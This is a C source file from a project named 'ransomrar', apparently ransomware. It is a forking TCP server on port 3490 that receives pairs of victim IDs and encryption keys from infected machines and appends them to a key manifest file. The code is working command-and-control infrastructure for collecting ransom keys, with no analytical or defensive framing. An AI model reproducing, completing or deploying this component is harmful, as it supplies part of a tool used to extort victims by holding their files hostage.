ransomrar/server.c

#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define PORT "3490" // the port users will be connecting to

#define BACKLOG 10 // how many pending connections queue will hold

#define MAXDATASIZE 90 // max number of bytes we can get at once

void sigchld_handler(int s) {
  (void)s; // quiet unused variable warning

  // waitpid() might overwrite errno, so we save and restore it:
  int saved_errno = errno;

  while (waitpid(-1, NULL, WNOHANG) > 0)
    ;

  errno = saved_errno;
}

// get sockaddr, IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa) {
  if (sa->sa_family == AF_INET) {
    return &(((struct sockaddr_in *)sa)->sin_addr);
  }

  return &(((struct sockaddr_in6 *)sa)->sin6_addr);
}

int main(int argc, char *argv[]) {

  if (argc < 2) {
    printf("use: %s key_manifest\n", argv[0]);
    return 1;
  }

  int sockfd, new_fd, numbytes; // listen on sock_fd, new connection on new_fd
  char buf[MAXDATASIZE];
  struct addrinfo hints, *servinfo, *p;
  struct sockaddr_storage their_addr; // connector's address information
  socklen_t sin_size;
  struct sigaction sa;
  int yes = 1;
  char s[INET6_ADDRSTRLEN];
  int rv;

  memset(&hints, 0, sizeof hints);
  hints.ai_family = AF_UNSPEC;
  hints.ai_socktype = SOCK_STREAM;
  hints.ai_flags = AI_PASSIVE; // use my IP

  if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) {
    fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
    return 1;
  }

  // loop through all the results and bind to the first we can
  for (p = servinfo; p != NULL; p = p->ai_next) {
    if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
      perror("server: socket");
      continue;
    }

    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) {
      perror("setsockopt");
      exit(1);
    }

    if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
      close(sockfd);
      perror("server: bind");
      continue;
    }

    break;
  }

  freeaddrinfo(servinfo); // all done with this structure

  if (p == NULL) {
    fprintf(stderr, "server: failed to bind\n");
    exit(1);
  }

  if (listen(sockfd, BACKLOG) == -1) {
    perror("listen");
    exit(1);
  }

  sa.sa_handler = sigchld_handler; // reap all dead processes
  sigemptyset(&sa.sa_mask);
  sa.sa_flags = SA_RESTART;
  if (sigaction(SIGCHLD, &sa, NULL) == -1) {
    perror("sigaction");
    exit(1);
  }

  printf("server: waiting for connections...\n");

  while (1) { // main accept() loop
    sin_size = sizeof their_addr;
    new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size);
    if (new_fd == -1) {
      perror("accept");
      continue;
    }

    inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *)&their_addr),
              s, sizeof s);
    printf("server: got connection from %s\n", s);

    if (!fork()) {   // this is the child process
      close(sockfd); // child doesn't need the listener

      if ((numbytes = recv(new_fd, buf, MAXDATASIZE - 1, 0)) == -1) {
        perror("recv");
        exit(1);
      }

      buf[numbytes] = '\0';

      printf("server: received '%s'\n", buf);

      char id[45] = {0};
      char key[45] = {0};

      if (buf[44] != ' ') {
        close(new_fd);
        exit(1);
      } else {
        strncpy(id, buf, 44);
        strncpy(key, buf + 45, 44);
      }

      FILE *manifest = fopen(argv[1], "ab");
      if (manifest == NULL) {
        close(new_fd);
        exit(0);
      }

      fprintf(manifest, "id: %s key: %s\n", id, key);
      fclose(manifest);

      close(new_fd);
      exit(0);
    }
    close(new_fd); // parent doesn't need this
  }

  return 0;
}